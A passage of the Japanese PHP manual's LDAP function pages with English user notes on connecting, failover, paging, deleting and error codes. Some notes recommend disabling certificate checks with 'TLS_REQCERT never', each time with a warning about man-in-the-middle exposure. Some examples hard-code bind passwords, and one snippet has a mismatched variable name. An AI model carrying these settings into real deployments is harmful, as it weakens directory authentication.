        $op = fsockopen($host, $port, $errno, $errstr, $timeout);
        if (!$op) return 0; //DC is N/A
    else {
    fclose($opanak); //explicitly close open socket connection
    return 1; //DC is up & running, we can safely connect with ldap_connect
    }
}

// ##### STATIC DC LIST, if your DNS round robin is not setup
//$dclist = array('10.111.222.111', '10.111.222.100', '10.111.222.200');

// ##### DYNAMIC DC LIST, reverse DNS lookup sorted by round-robin result
$dclist = gethostbynamel('domain.name');

foreach ($dclist as $k => $dc) if (serviceping($dc) == true) break; else $dc = 0;
//after this loop, either there will be at least one DC which is available at present, or $dc would return bool false while the next line stops program from further execution

if (!$dc) exit("NO DOMAIN CONTROLLERS AVAILABLE AT PRESENT, PLEASE TRY AGAIN LATER!"); //user being notified

//now, ldap_connect would certainly connect succesfully to DC tested previously and no timeout will occur
$ldapconn = ldap_connect($dc) or die("DC N/A, PLEASE TRY AGAIN LATER.");
===========================================================

Also with this approach, you get a real nice failover functionality, take for an example a company with a dozen of DC-a distributed along distant places, this way your PHP program will always have high availability if at least one DC is active at present.
ac dot russell at live dot com 24-Aug-2012 06:47
In order to connect to an ldap server via ssl I needed to use a certificate. For this to work the ldap admin sent me a .der file which I put into /etc/openldap/cacerts.
    cp ldap-server.der /etc/openldap/cacerts
That directory must be chmod 755. Then the following entries had to be in /etc/openldap/ldap.conf

    # Make the connection vulnerable to MITM-Attacks
    # by not checking any certificates
    # For a better solution see https://andreas.heigl.org/2020/01/31/handle-self-signed-certificates-with-phps-ldap-extension/
    TLS_REQCERT   never
    TLS_CACERTDIR /etc/openldap/cacerts
"TLS_REQCERT never" should only be required if there is a self-signed certificate in the certificate chain.
verikono 11-Apr-2011 01:33
PHP:LDAP does not support persistent connections.
miki at qex dot cz 10-Mar-2010 04:51
I had terrible problems with "Unable to bind to server: Invalid credentials" error - everything seemed to be OK (login/pwd used in other apps).
Solved by adding domain to login (instead "username" I used "username@example.com").
mharting at micahtek dot com 02-Sep-2009 01:35
An addition to trying to setup failover. After doing the ldap_connect, do the ldap_bind.  If ldap_bind fails, use the command ldap_errno to get the error number.  If the error number is 81, that represents the server is down.  That is the only time we do a failover to our backup ldap server.

Another thing to consider is the error could be 49, then do
ldap_get_option($this->ds,LDAP_OPT_ERROR_NUMBER,$optErrorNumber);. This will return extended data and if the data code in that is 532 or 773, the bind failure will be caused by the password being expired and requiring a password update before the bind will succeed.
csnyder at fcny dot org 15-Apr-2009 09:35
It bears repeating (and the examples should probably be updated) that ldap_connect() doesn't actually test the connection to the specified ldap server. This is important if you're trying to build failover into your ldap-based authentication routine.

The only way to test the connection is to actually call ldap_bind( $ds, $username, $password ). But if that fails, is it because you have the wrong username/password or is it because the connection is down? As far as I can see there isn't any way to tell.

It seems that if ldap_bind() fails against your primary server, you have no choice but to try ldap_bind() with the same credentials against the backup. And yet, if your organization limits failed login attempts, a single bad password counts as two failed login attempts. Not good.

One possible workaround is to try an anonymous bind first:

<?php
// connect to primary
$ds = ldap_connect( 'ldap://10.0.0.7/' );
// note: $ds is always a resource even if primary is down

// try anonymous login to test connection
$anon = @ldap_bind( $ds );
if ( !$anon ) {
    // test failed, connect to failover host
    $ds = ldap_connect( 'ldap://10.0.0.8/' );
}
else {
    // test passed, unbind anonymous and reconnect to primary
    ldap_unbind( $ds );
    $ds = ldap_connect( 'ldap://10.0.0.7/' );
}

// now try a real login
$login = @ldap_bind( $ds, $username, $password );
?>

Note that this workaround relies on anonymous login being enabled, which may not always be the case. It's a little sad that there is no other way to test the connection. Hopefully this can be remedied in some future implementation of ldap_connect().
peter dot burden at gmail dot com 27-Jan-2009 04:40
The host name parameter can be a space separated list of host names. This means that the LDAP code will talk to a backup server if the main server is not operational. There will be a delay while the code times out trying to talk to the main server but things will still work. This is particularly useful with a typical Microsoft Active Directory setup of primary and backup domain controllers.
<?php
$ldaphost = "192.168.0.100 192.168.0.101";
$ldapconn = ldap_connect($ldaphost);
?>
geigers at binghamton dot edu 01-May-2008 01:04
If you have oci8 and are trying to use openldap for ldap you *may* run into a problem.  I have an Oracle database that I connect to from apache.  Oracle also has ldap libs which were taking precedence over the openldap libs.  This would cause a seg fault when calling ldap_connect with a uri style connect string; e.g. ldap_connect("ldaps://myldapserver.host");

After using gdb to debug a core dump and a lot of googling I found that the solution was to add an env-var to apachectl startup.

I am using Apache 2.2.8 with PHP 5.2.5 on RHEL.  I added:

LD_PRELOAD=/path/to/libldap.so
export LD_PRELOAD

in /usr/sbin/envvars which is read when apachectl starts.  You can read more on this here: http://www.mail-archive.com/php-bugs@lists.php.net/msg02201.html

Scott Geiger
bleathem at gmail dot com 27-Feb-2008 02:30
Everyone is posting about getting ldaps:// working in a WAMP/AD stack, I had a tough time finding how to get it going in RHEL 5.1 (w/ all stock rpms).  Good old strace did the trick and helped me find the problem...

Turns out php was looking for the CA file in /etc/pki/CA, and I didn't have the correct permissions on the folder.  chmod'ing it to 755 solved my "Can't contact LDAP server" message.
andreas dot a dot sandberg at gmail dot com 05-Jun-2007 05:28
Be careful when using ldap_connect with the sun client libraries that come bundled with solaris.   When specifyng the host with the ldap protocol, my connection failed and it took me a good day to trouble shoot.  ie. ldap_connect("ldap://somwhere.com");  Just remove the 'ldap://' and specify the host.   This was on Solaris 10 sparc.
vandervoord at planet dot nl 05-May-2007 06:22
The previous note concerning searching the whole AD tree works fully. Though you must be sure that the server you're authenticating/searching is a Global Catalog server. If not, connecting and binding will fail. Usually there is at least one Global Catalog server in your domain, so if the connect fails try another server it will work. The reason it works is that the Global Catalog server searches the whole domain as where the domain catalog only searches a given OU, offcourse this opposes a security threat as well :)...
allie at lsu dot edu 06-Mar-2007 02:23
I sure do wish there was some way I could get this information out to all programmers in the world about binding and searching MS AD.  This is the second time I was bit by the "I need to search the entire tree" problem.

For php (and apache auth_ldap ) you need to specify port 3268 when you want to search the entire tree.  Otherwise it will spit out the partial results error.

ldap_connect($server,3268);

I'm just fortunate enough to have won this same battle with apache searching the whole directory.  When I noticed our php application failing auth's for users, I was immediately able to fix the problem by adding this port specification (and the ldap_set_option($ldapserver, LDAP_OPT_REFERRALS, 0)  option).

I really hope this helps someone else before they pull all their hair out.  I know I miss mine.
elsint at yahoo dot com 21-Sep-2006 01:48
Be careful about the certificate's permission if you are using Windows.

Set certificates' permissions for everyone to Read and Read&Execute or you may get binding errors because of this.
baroque at citromail dot hu 05-Nov-2005 01:20
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, $admin, $passwd);
    if(!$r) die("ldap_bind failed<br>");

    echo "ldap_bind success";
    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>
Srivathsa M 23-Jun-2005 03:28
Using LDAP over SSL on NetWare:

1. Copy the server certificates to sys:/php5/cert directory. This location is configurable in php.ini file.

2. Use "ldaps://" prefix for host name argument or a value of 636 for port number argument in ldap_connect call.

For more details, visit, NetWare specific PHP documentation at http://developer.novell.com/ndk/doc/php/index.html
nigelf at esp dot co dot uk 26-Apr-2005 03:58
As mentioned above, openLDAP will always return a resource, even if the server name isn't valid.

If you then bind with errors suppressed (@ldap_bind) and it fails, it's not obvious what caused the failure (ie: connection or credentials).  As the bind doesn't return a resource you can't get the last error from ldap_error etc. either.

If you display just a message about login failure to the user they may get frustrated re-typing a valid username/password when it's the connection that's at fault.
blizzards at libero dot it 28-Sep-2004 03:23
To complete questions about how to connect to a LDAP ACTIVE DIRECTORY 2000/2003 server with SASL on port 636, you can refer to prevous notes, and the following directives:

A)Create CA certificates from AD;
B)Export in .pem (DER) format;
C)Install OPENSSL,CYRUS SASL,OPENLDAP,KERBEROS 5;
D)Copy exported AD ca cert into openssl certs dir on your unix system;
E)Reash with c_reash command;
F)Get a kerberos ticket form AD for your user;
G)Compile PHP with SSL and LDAP support;
H)Test with ldapsearch -D <binddn> -W -H ldaps://ad.secure.com:636 -x

If all works right, create your php script.

Note: For writing parameters to AD you need to renew ticket each 10 hours or less (AD default lifetime ticket), for reading pourpose you can maintain expired ticket.
When querying a windows 2000/2003 AD you MUST use only SASL and not TLS (non supported).
Andrew (a.whyte at cqu.edu.au) 29-Sep-2003 12:15
To be able to make modifications to Active Directory via the LDAP connector you must bind to the LDAP service over SSL. Otherwise Active Directory provides a mostly readonly connection. You cannot add objects or modify certain properties without LDAPS, e.g. passwords can only be changed using LDAPS connections to Active Directory.

Therefore, for those wishing to securely connect to Active Directory, from a Unix host using PHP+OpenLDAP+OpenSSL I spent some time getting this going myself, and came across a few gotcha's. Hope this proves fruitfull for others like me when you couldn't find answers out there.

Make sure you compile OpenLDAP with OpenSSL support, and that you compile PHP with OpenLDAP and OpenSSL.

This provides PHP with what it needs to make use of ldaps:// connections.

Configure OpenSSL:

Extract your Root CA certificate from Active Directory, this is achived through the use of Certificate Services, a startard component of Windows 2000 Server, but may not be installed by default, (The usual Add/Remove Software method will work here). I extracted this in Base64 not DER format.

Place the extracted CAcert into the certs folder for openssl. (e.g. /usr/local/ssl/certs) and setup the hashed symlinks. This is easily done by simply running:

  /usr/local/ssl/bin/c_rehash

Once this is done you can test it is worked by running:

  /usr/local/ssl/bin/openssl verify -verbose -CApath /usr/local/ssl/certs /tmp/exported_cacert.pem

(Should return: OK).

Configure OpenLDAP:

Add the following to your ldap.conf file.
(found as /usr/local/openldap/etc/openldap/ldap.conf)

  #--begin--

  # Instruct client to NOT request a server's cert.
  #
  # WARNING: This will open up the server vor Man-in-the-middle
  # attacs and should *not* be used on production systems or outside
  # of test-scenarios!
  #
  # If you use this setting you will not need any other settings as
  # no certificate is requested and therefore will not be validated
  #
  # For a proper solution check out https://andreas.heigl.org/2020/01/31/handle-self-signed-certificates-with-phps-ldap-extension/
  TLS_REQCERT never

  # Define location of CA Cert
  TLS_CACERT /usr/local/ssl/certs/AD_CA_CERT.pem
  TLS_CACERTDIR /usr/local/ssl/certs

  #--end--

You also need to place those same settings in a file within the Apache Web user homedir called .ldaprc

  e.g.:

  cp /usr/local/openldap/etc/openldap/ldap.conf ~www/.ldaprc )

You can then test that you're able to establish a LDAPS connection to Active Directory from the OpenLDAP command tools:

  /usr/local/openldap/bin/ldapsearch -H "ldaps://adserver.ad.com"

This should return some output in extended LDIF format and will indicate no matching objects, but it proves the connection works.

The name of the server you're connecting to is important. If they server name you specify in the "ldaps://" URI does not match the name of the server in it's certificate, it will complain like so:

  ldap_bind: Can't contact LDAP server (81)
        additional info: TLS: hostname does not match CN in peer certificate

Once you've gotten the ldapsearch tool working correctly PHP should work also.

One important gotcha however is that the Web user must be able to locate it's HOME folder. You must check that Apache is providing a HOME variable set to the Web users home directory, so that php can locate the .ldaprc file and the settings contained within. This may well be different between Unix variants but it is such a simple and stupid thing if you miss it and it causes you grief. Simply use a SetEnv directive in Apache's httpd.conf:

  SetEnv HOME /usr/local/www

With all that done, you can now code up a simple connect function:

  function connect_AD()
  {
    $ldap_server = "ldaps://adserver.ad.com" ;
    $ldap_user   = "CN=web service account,OU=Service Accounts,DC=ad,DC=com" ;
    $ldap_pass   = "password" ;

    $ad = ldap_connect($ldap_server) ;
    ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3) ;
    $bound = ldap_bind($ad, $ldap_user, $ldap_pass);

    return $ad ;
  }

Optionally you can avoid the URI style server string and use something like ldap_connect("adserver.ad.com", 636) ;  But work fine with Active Directory servers.

Hope this proves usefull.
avel at noc uoa gr 24-Jul-2002 07:05
Note that hostname can be a space-separated list of LDAP host names. This is very useful for failover; if the first ldap host is down, ldap_connect will ask the second LDAP host. Of course, you _must_ have LDAP replicates before doing this. :) Read the LDAP API documentation for more information.

This can also be useful, apart from failover, for LDAP load balancing. Just use a random generator function that will return a different space-separated list every time. This is because the first host in the list is always tried first.

Be careful when doing LDAP writes; be sure to always connect to your master host when you are about to modify the database, so that the replicates will get the changes as expected.

Alexandros Vellis
24-Apr-2002 09:28
A resource ID is always returned when using URLs for the host parameter
even if the host does not exist.

"When using an URI to describe the connection, the (open)ldap library
only parses the url and checks if it's valid, _no connection_ is
established in that case."
-mfischer@php.net
http://bugs.php.net/bug.php?id=15637


LDAP ページネーションクッキーを取得する

  • ≪ ldap_connect
  • ldap_control_paged_result ≫
  • PHP Manual
  • LDAP 関数
  • LDAP ページネーションクッキーを取得する

ldap_control_paged_result_response

(PHP 5 >= 5.4.0, PHP 7)

ldap_control_paged_result_response — LDAP ページネーションクッキーを取得する

警告

この関数は PHP 7.4.0 以降で 推奨されなくなり、PHP 8.0.0 以降は 削除されています。 代替として、ldap_search() 関数の controls 引数を使うべきです。 詳細は LDAP コントロール も参照して下さい。

説明

ldap_control_paged_result_response ( resource $link , resource $result , string &$cookie = ? , int &$estimated = ? ) : bool

サーバーから送られるページネーション情報を取得します。

パラメータ

link

ldap_connect() が返す LDAP リンク ID。

result

cookie

サーバーから送られる opaque structure。

estimated

取得するエントリ数の予測。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.4.0 | この関数は非推奨になりました。

参考

  • ldap_control_paged_result() - LDAP ページネーション制御情報を送信する
  • » RFC2696 : LDAP Control Extension for Simple Paged Results Manipulation

User Contributed Notes

There are no user contributed notes for this page.


LDAP ページネーション制御情報を送信する

  • ≪ ldap_control_paged_result_response
  • ldap_count_entries ≫
  • PHP Manual
  • LDAP 関数
  • LDAP ページネーション制御情報を送信する

ldap_control_paged_result

(PHP 5 >= 5.4.0, PHP 7)

ldap_control_paged_result — LDAP ページネーション制御情報を送信する

警告

この関数は PHP 7.4.0 以降で 推奨されなくなり、PHP 8.0.0 以降は 削除されています。 代替として、ldap_search() 関数の controls 引数を使うべきです。 詳細は LDAP コントロール も参照して下さい。

説明

ldap_control_paged_result ( resource $link , int $pagesize , bool $iscritical = false , string $cookie = "" ) : bool

LDAP ページネーションを有効にするため、ページネーション制御情報 (ページサイズやクッキーなど) を送信します。

パラメータ

link

ldap_connect() が返す LDAP リンク ID。

pagesize

ページあたりのエントリ数。

iscritical

ページネーションを必須にするかどうか。 true にすると、もしサーバーがページネーションに対応していなければ 検索結果を返しません。

cookie

サーバーから送られる opaque structure (ldap_control_paged_result_response())。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.4.0 | この関数は非推奨になりました。

例

次の例は、検索結果の最初のページを取得します。 ページあたり 1 エントリになります。

例1 LDAP ページネーション

<?php
     // $ds is a valid link identifier (see ldap_connect)
     ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

     $dn        = 'ou=example,dc=org';
     $filter    = '(|(sn=Doe*)(givenname=John*))';
     $justthese = array('ou', 'sn', 'givenname', 'mail');

     // enable pagination with a page size of 1.
     ldap_control_paged_result($ds, 1);

     $sr = ldap_search($ds, $dn, $filter, $justthese);

     $info = ldap_get_entries($ds, $sr);

     echo $info['count'] . ' entries returned' . PHP_EOL;

この例は、すべての結果を取得します。 ページあたり 100 エントリとなります。

例2 LDAP ページネーション

<?php
     // $ds is a valid link identifier (see ldap_connect)
     ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

     $dn        = 'ou=example,dc=org';
     $filter    = '(|(sn=Doe*)(givenname=John*))';
     $justthese = array('ou', 'sn', 'givenname', 'mail');

     // enable pagination with a page size of 100.
     $pageSize = 100;

     $cookie = '';
     do {
         ldap_control_paged_result($ds, $pageSize, true, $cookie);

         $result  = ldap_search($ds, $dn, $filter, $justthese);
         $entries = ldap_get_entries($ds, $result);

         foreach ($entries as $e) {
             echo $e['dn'] . PHP_EOL;
         }

         ldap_control_paged_result_response($ds, $result, $cookie);

     } while($cookie !== null && $cookie != '');

注意

注意:

ページネーション制御は、LDAPv3 プロトコルの機能です。

参考

  • ldap_control_paged_result_response() - LDAP ページネーションクッキーを取得する
  • » RFC2696 : LDAP Control Extension for Simple Paged Results Manipulation

User Contributed Notes

steven_bauman at outlook dot com 03-Jun-2016 04:58
While another note suggests resetting the control paged result by passing in `0` (zero), it actually still prevents any further queries being ran during the same request.

You actually need to set it to a large number to run further queries it seems. For example:

<?php
ldap_control_paged_result($connection, 100, true, $cookie);

// Run the search
...

// What is supposed to work (reset)
ldap_control_paged_result($connection, 0, false, $cookie);

// What actually works
ldap_control_paged_result($connection, 1000, false, $cookie);
?>

In the above method, 1000 is just a placeholder, but this seems to actually **limit** further queries to this amount of results, so if you set it to `1`, then you'll only receive **one** result for any further queries during the same request.
dublue at gmail dot com 09-Apr-2014 01:02
So how do you now sort the entire result? It appears you can't use ldap_sort as it uses the search resource which is within the loop.
Blizzz 21-Oct-2013 03:26
If you did a paged search operation and want to do any other read operation on LDAP, you need to reset it, otherwise you will experience LDAP errors (code 12, for instance).

<?php
...
ldap_control_paged_result($link, 0);
...
?>
jestertrance at hotmail dot com 06-Mar-2013 05:44
You may need to do an ldap_bind before running ldap_control_paged_result to get this to work:

$conn = ldap_connect("you_ip");
ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_bind("your_connection_info");
ldap_control_paged_result($conn, $pageSize, true, $cookie)

Without doing an ldap_bind, I kept getting the error "Critical extension is unavailable". I don't if this is standard knowledge, but knowing this would have saved me days of frustration.
etienne at lamaisondebarbie dot ch 30-Apr-2012 03:14
Paged results, as specified in the RFC 2696, does not allow to get over the server sizeLimit. The RFC clearly states "If the page size is greater than or equal to the sizeLimit value, the server should ignore the control as the request can be satisfied in a single page".
With OpenLDAP, you will not get more than the sizeLimit number of entries with paged results.
James 14-Apr-2012 12:56
I was able to get these functions to work successfully with Active Directory.  When I first tried it, ldap_search kept returning a Not Supported reply from the server.  I finally figured out that I needed to include

ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);

in my code, so that AD would let me page results.  Make sure you're using a compatible protocol.

Hope this note helps someone else.


検索結果のエントリ数を数える

  • ≪ ldap_control_paged_result
  • ldap_delete_ext ≫
  • PHP Manual
  • LDAP 関数
  • 検索結果のエントリ数を数える

ldap_count_entries

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_count_entries — 検索結果のエントリ数を数える

説明

ldap_count_entries ( resource $ldap , resource $result ) : int

直前の検索結果として保存されたエントリの数を返します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

result

内部の LDAP 結果。

返り値

結果のエントリ数を返します。エラーの場合は false を返します。

例

例1 ldap-count-entries() の例

結果のエントリ数を取得します。

// $ds は、有効なリンク ID です (ldap_connect を参照ください)

     $dn        = 'ou=example,dc=org';
     $filter    = '(|(sn=Doe*)(givenname=John*))';
     $justthese = array('ou', 'sn', 'givenname', 'mail');

     $sr = ldap_search($ds, $dn, $filter, $justthese);

     var_dump(ldap_count_entries($ds, $sr));

上の例の出力は、 たとえば以下のようになります。

     int(1)

User Contributed Notes

martin dot keckeis1 at gmail dot com 29-Jun-2015 12:11
If your search result is larger then the directory limit, it will just show you the maximum number of return entries possible by the directory (.e.g 2000 in some ActiveDirectories)


ディレクトリからエントリを削除する

  • ≪ ldap_count_entries
  • ldap_delete ≫
  • PHP Manual
  • LDAP 関数
  • ディレクトリからエントリを削除する

ldap_delete_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_delete_ext — ディレクトリからエントリを削除する

説明

ldap_delete_ext ( resource $ldap , string $dn , array|null $controls = null ) : resource|false

ldap_delete() と同じですが、 ldap_parse_result() を使ってパースされた LDAP 結果リソースを返します。

パラメータ

ldap_delete() を参照してください。

返り値

LDAP の結果識別子を返します。 エラーの場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。

参考

  • ldap_delete() - ディレクトリからエントリを削除する
  • ldap_parse_result() - 結果から情報を展開する

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリからエントリを削除する

  • ≪ ldap_delete_ext
  • ldap_dn2ufn ≫
  • PHP Manual
  • LDAP 関数
  • ディレクトリからエントリを削除する

ldap_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_delete — ディレクトリからエントリを削除する

説明

ldap_delete ( resource $ldap , string $dn , array|null $controls = null ) : bool

指定したエントリを LDAP ディレクトリから削除します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

dn

LDAP エンティティの識別名。

controls

リクエストと一緒に送信する LDAP コントロール の配列

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | controls は、nullable になりました。 これより前のバージョンでは、デフォルト値が [] でした。
7.3 | controls のサポートが追加されました。

参考

  • ldap_delete_ext() - ディレクトリからエントリを削除する
  • ldap_add() - LDAP ディレクトリにエントリを付加する

User Contributed Notes

grossman at post dot cz 23-Jan-2018 10:56
Be aware! Operation not allowed on non-leaf.
gabriel at hrz dot uni-marburg dot de 14-May-2002 08:16
Useful function to delete dn entries recursively

bool myldap_delete ( resource ds, string dn, bool recursive)

Returns TRUE on success, FALSE on failure
recursive is by default FALSE (same behaviour as ldap_delete)

function myldap_delete($ds,$dn,$recursive=false){
    if($recursive == false){
        return(ldap_delete($ds,$dn));
    }else{
        //searching for sub entries
        $sr=ldap_list($ds,$dn,"ObjectClass=*",array(""));
        $info = ldap_get_entries($ds, $sr);
        for($i=0;$i<$info['count'];$i++){
            //deleting recursively sub entries
            $result=myldap_delete($ds,$info[$i]['dn'],$recursive);
            if(!$result){
                //return result code, if delete fails
                return($result);
            }
        }
        return(ldap_delete($ds,$dn));
    }
}


DN をユーザーに分かりやすい名前のフォーマットに変換する

  • ≪ ldap_delete
  • ldap_err2str ≫
  • PHP Manual
  • LDAP 関数
  • DN をユーザーに分かりやすい名前のフォーマットに変換する

ldap_dn2ufn

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_dn2ufn — DN をユーザーに分かりやすい名前のフォーマットに変換する

説明

ldap_dn2ufn ( string $dn ) : string|false

指定した dn をよりユーザーにわかりやすい形式にするため、 型名を取り除きます。

パラメータ

dn

LDAP エンティティの識別名。

返り値

ユーザーにわかりやすい形式の名前を返します。 失敗した場合に false を返します

User Contributed Notes

naaina at gmail dot com 18-Feb-2005 04:18
Don't know if anyone is interested in this, but this is a modified and more dynamic version of the posting below. Since ldap_dn2ufn takes ',' as delimiter for the UFNs, we'll also use it here. $pHowToBuild specifies, how the DN is going to be build.

Short example:

$myUFN = ldap_dn2ufn("cn=naaina, ou=container1, ou=container2, ou=container3, o=private, c=de");
echo $myUFN . "\n"; // will return "naaina, container1, container2, container3, private, de"

$myDN = $ldapObject->conv_ufn2dn($myUFN);
echo $myDN . "\n"; // will return "cn=naaina,ou=container1,ou=container2,ou=container3,o=private,c=de"

For the object name, $pHowToBuild["object"] is going to be used as prefix - for containers $pHowToBuild["container"] and for the last n elements $pHowToBuild["last"].

<?php
  function ldap_ufn2dn (
   $pUFN,
   $pDelimiter = ",",
   $pHowToBuild = array(
    "object" => "cn",
    "container" => "ou",
    "last" => array("o", "c")
   )
  )
  {
   $resultDN = null;

   if(!empty($pUFN)) {
     /* Check $pHowToBuild */
     if(is_array($pHowToBuild)) {
       /* Check if required keys are existent */
       if(array_key_exists("object", $pHowToBuild) &&
          array_key_exists("container", $pHowToBuild) &&
          array_key_exists("last", $pHowToBuild))
       {
         $ufnArray = explode($pDelimiter, $pUFN);
         $ufnLast  = count($ufnArray) - count($pHowToBuild["last"]);

         /* Remove empty values */
         foreach($ufnArray as $objKey => $objVal)
           if(empty($objVal))
             array_splice($ufnArray, $objKey, 1);

         /* Now build the DN ... */
         foreach($ufnArray as $objKey => $objVal) {
           $objVal = trim($objVal);

           if($objKey == 0) {
             /* For the object */
             $resultDN .= $pHowToBuild["object"] . "=" . $objVal . ",";
           } elseif ($objKey >= $ufnLast) {
             /* For last parts of the DN */
             $resultDN .= $pHowToBuild["last"][$objKey - $ufnLast] . "=" . $objVal;
             if(($objKey - $ufnLast - 1) != 0) {
               $resultDN .= ",";
             }
           } else {
             /* For containers */
             $resultDN .= $pHowToBuild["container"] . "=" . $objVal . ",";
           }
         }
       }
     }
   }

   return $resultDN;
  }
?>
alex at netflex dot nl 15-Oct-2002 04:09
The function of bryan will only work if you start with an Organization and using only an Organizational Unit as a container and the object is an CN.

For example:

$DN = "CN=DNS,CN=Authorized Login Methods,CN=Security";

echo ($DN = ldap_dn2ufn($DN)) . "\n";

echo ($DN = ldap_ufn2dn($DN)) . "\n";

will echo:

DNS,Authorized Login Methods,Security

CN=DNS,OU=Authorized Login Methods,O=Security
bryan at apachetoolbox dot com 24-Jul-2001 04:47
function ldap_unf2dn($unf,$delimeter=".") {
 $seperated = explode($delimeter,$unf); //split the unf up by the given delimeter
 $LastKey=count($seperated)-1;          //0 is the first key to total-1 would be the last key
 foreach($seperated as $key => $value) {
  if ($key == 1) {              //first variable is the CN
   $dn="${dn}cn=$value,";
  } elseif ($key == $LastKey) { //last variable, so it's the O
   $dn="${dn}o=$value";
  } elseif ($value == "") {     //value is blank, so continue
   continue;
  } else {                      //just a typical OU
   $dn="${dn}ou=$value,";
  }

 };
return $dn;

}

$unf=".bryan.users.admin.apachetoolbox";
$dn=ldap_unf2dn($unf);
print "$dn" // will give me "cn=bryan,ou=users,ou=TS,o=apachetoolbox"
bryan at apachetoolbox dot com 24-Jul-2001 04:12
This function will convert "cn=bryan,ou=users,ou=admin,o=apachetoolbox" to "bryan,users,admin,apachetoolbox".


LDAP のエラー番号をエラーメッセージ文字列に変換する

  • ≪ ldap_dn2ufn
  • ldap_errno ≫
  • PHP Manual
  • LDAP 関数
  • LDAP のエラー番号をエラーメッセージ文字列に変換する

ldap_err2str

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_err2str — LDAP のエラー番号をエラーメッセージ文字列に変換する

説明

ldap_err2str ( int $errno ) : string

この関数は、エラー番号 errno が意味する エラーメッセージ文字列を返します。LDAP errno 番号は標準化されていますが、 異なったライブラリでは、異なる（あるいはローカライズされた）エラーメッセージ が返されます。エラーメッセージの内容をチェックするのではなく、 必ずエラー番号をチェックするようにしてください。

パラメータ

errno

エラー番号。

返り値

エラーメッセージを表す文字列を返します。

例

例1 全ての LDAP エラーメッセージに番号をふる

<?php
  for ($i=0; $i<100; $i++) {
    printf("Error $i: %s<br />\n", ldap_err2str($i));
  }
?>

参考

  • ldap_errno() - 直近の LDAP コマンドの LDAP エラー番号を返す
  • ldap_error() - 直近の LDAP コマンドの LDAP エラーメッセージを返す

User Contributed Notes

There are no user contributed notes for this page.


直近の LDAP コマンドの LDAP エラー番号を返す

  • ≪ ldap_err2str
  • ldap_error ≫
  • PHP Manual
  • LDAP 関数
  • 直近の LDAP コマンドの LDAP エラー番号を返す

ldap_errno

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_errno — 直近の LDAP コマンドの LDAP エラー番号を返す

説明

ldap_errno ( resource $ldap ) : int

直近の LDAP コマンドにより返された、標準化されたエラー番号を返します。 この番号は、ldap_err2str() を用いてエラーメッセージ 文字列に変換することができます。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

返り値

このリンクに関する直近の LDAP コマンドの LDAP エラー番号を返します。

例

php.ini で警告レベルを十分に下げるか、警告出力を抑制するために LDAP コマンドに @ 文字をつけない限り、発生したエラーは、HTML 出力 にも表示されます。

例1 エラーを生成し、取得する

<?php
// この例には、エラーがあり、これを取得します。
$ld = ldap_connect("localhost");
$bind = ldap_bind($ld);
// フィルタ式に構文エラーがあります（errno 87）。
// 動作させるには、"objectclass=*" とする必要があります。
$res =  @ldap_search($ld, "o=Myorg, c=DE", "objectclass");
if (!$res) {
    echo "LDAP-Errno: " . ldap_errno($ld) . "<br />\n";
    echo "LDAP-Error: " . ldap_error($ld) . "<br />\n";
    die("Argh!<br />\n");
}
$info = ldap_get_entries($ld, $res);
echo $info["count"] . " matching entries.<br />\n";
?>

参考

  • ldap_err2str() - LDAP のエラー番号をエラーメッセージ文字列に変換する
  • ldap_error() - 直近の LDAP コマンドの LDAP エラーメッセージを返す

User Contributed Notes

11-Apr-2002 04:23
Common LDAP error codes

LDAP_SUCCESS                    0x00
LDAP_OPERATIONS_ERROR           0x01
LDAP_PROTOCOL_ERROR             0x02
LDAP_TIMELIMIT_EXCEEDED         0x03
LDAP_SIZELIMIT_EXCEEDED         0x04
LDAP_COMPARE_FALSE              0x05
LDAP_COMPARE_TRUE               0x06
LDAP_AUTH_METHOD_NOT_SUPPORTED  0x07
LDAP_STRONG_AUTH_REQUIRED       0x08
// Not used in LDAPv3
LDAP_PARTIAL_RESULTS            0x09

// Next 5 new in LDAPv3
LDAP_REFERRAL           0x0a
LDAP_ADMINLIMIT_EXCEEDED        0x0b
LDAP_UNAVAILABLE_CRITICAL_EXTENSION     0x0c
LDAP_CONFIDENTIALITY_REQUIRED   0x0d
LDAP_SASL_BIND_INPROGRESS       0x0e

LDAP_NO_SUCH_ATTRIBUTE          0x10
LDAP_UNDEFINED_TYPE             0x11
LDAP_INAPPROPRIATE_MATCHING     0x12
LDAP_CONSTRAINT_VIOLATION       0x13
LDAP_TYPE_OR_VALUE_EXISTS       0x14
LDAP_INVALID_SYNTAX             0x15

LDAP_NO_SUCH_OBJECT             0x20   /* 32 */
LDAP_ALIAS_PROBLEM              0x21
LDAP_INVALID_DN_SYNTAX          0x22
// Next two not used in LDAPv3
LDAP_IS_LEAF                    0x23
LDAP_ALIAS_DEREF_PROBLEM        0x24

LDAP_INAPPROPRIATE_AUTH         0x30   /* 48 */
LDAP_INVALID_CREDENTIALS        0x31   /* 49 */
LDAP_INSUFFICIENT_ACCESS        0x32
LDAP_BUSY                       0x33
LDAP_UNAVAILABLE                0x34
LDAP_UNWILLING_TO_PERFORM       0x35
LDAP_LOOP_DETECT                0x36

